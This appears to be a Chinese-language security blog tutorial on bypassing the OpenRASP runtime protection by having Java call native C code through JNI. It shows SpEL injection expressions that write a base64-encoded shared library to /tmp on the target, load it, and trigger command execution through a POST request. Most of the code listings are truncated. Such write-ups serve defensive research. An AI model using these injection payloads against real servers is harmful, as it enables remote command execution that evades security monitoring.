在学习RASP的时候,其中有一种绕过RASP的方法是,使用JNI,让Java调用底层C语言,从而绕过危险函数的Hook检查
JNI概述
JNI(Java Native Interface),其作用是让Java程序可以去调用C语言的程序,Java的实现是基于C语言实现的,在很多底层方法中,我们也经常能看到一些native关键字
JNI实现
在Java中,如果想要调用C程序,我们可以分为以下几步
- 首先定义一个native修饰的方法
- 使用javac将目标文件编译成class文件,并生成.h头文件
- 使用c/c++编写native方法的底层实现
- 使用gcc将c文件编成当前系统的动态库(.so / .dylib / .dll)
- 编写Java程序,使用System.load/loadLibrary()加载Java的native方法
接下来进行实践一下
首先定义一个native方法
1 | package com.sean; |
使用javac编译.java文件,同时生成了.h的头文件(jdk8及以上支持)
1 | javac -d target/classes -h src/com.sean.Calculator src/main/java/com/sean/Calculator.java |
若jdk版本较低,则需要分开两步进行
1 | javac -d target/classes src/main/java/com/sean/Calculator.java |
生成头文件后,我们就需要进行编写目标函数的c语言实现代码了,这里我直接用AI生成了
1 |
|
根据系统的架构,分别用不同的命令进行c文件的编译,生成系统的动态库
1 | //macos |
最后只需要使用System.load()方法进行加载目标动态库,然后进行函数的调用即可
1 | package com.sean; |

RASP绕过
这里使用百度开源的RASP来进行测试:https://github.com/baidu/openrasp
直接的Runtime().getRuntime.exec()会被RASP拦截
声明一个native方法后,创建该方法的c语言代码
1 | #include <jni.h> |
上述c代码类比与java代码如下:
1 | package com.sean; |
我们将c语言编译成目标系统的动态库,使用如下表达式,将动态库文件写入目标系统的tmp目录下
1 | T(java.nio.file.Files).write(T(java.nio.file.Paths).get('/tmp/libcmd_spel.so'),T(java.util.Base64).getDecoder().decode('<ELF-BASE64>')) |
然后使用load方法进行动态库的加载
1 | T(java.lang.System).load('/tmp/libcmd_spel.so') |
最后调用目标类的恶意方法,就可以用JNI来进行RASP的绕过,这里达到了一个命令回显的效果
1 | POST /spel/index.jsp HTTP/1.1 |
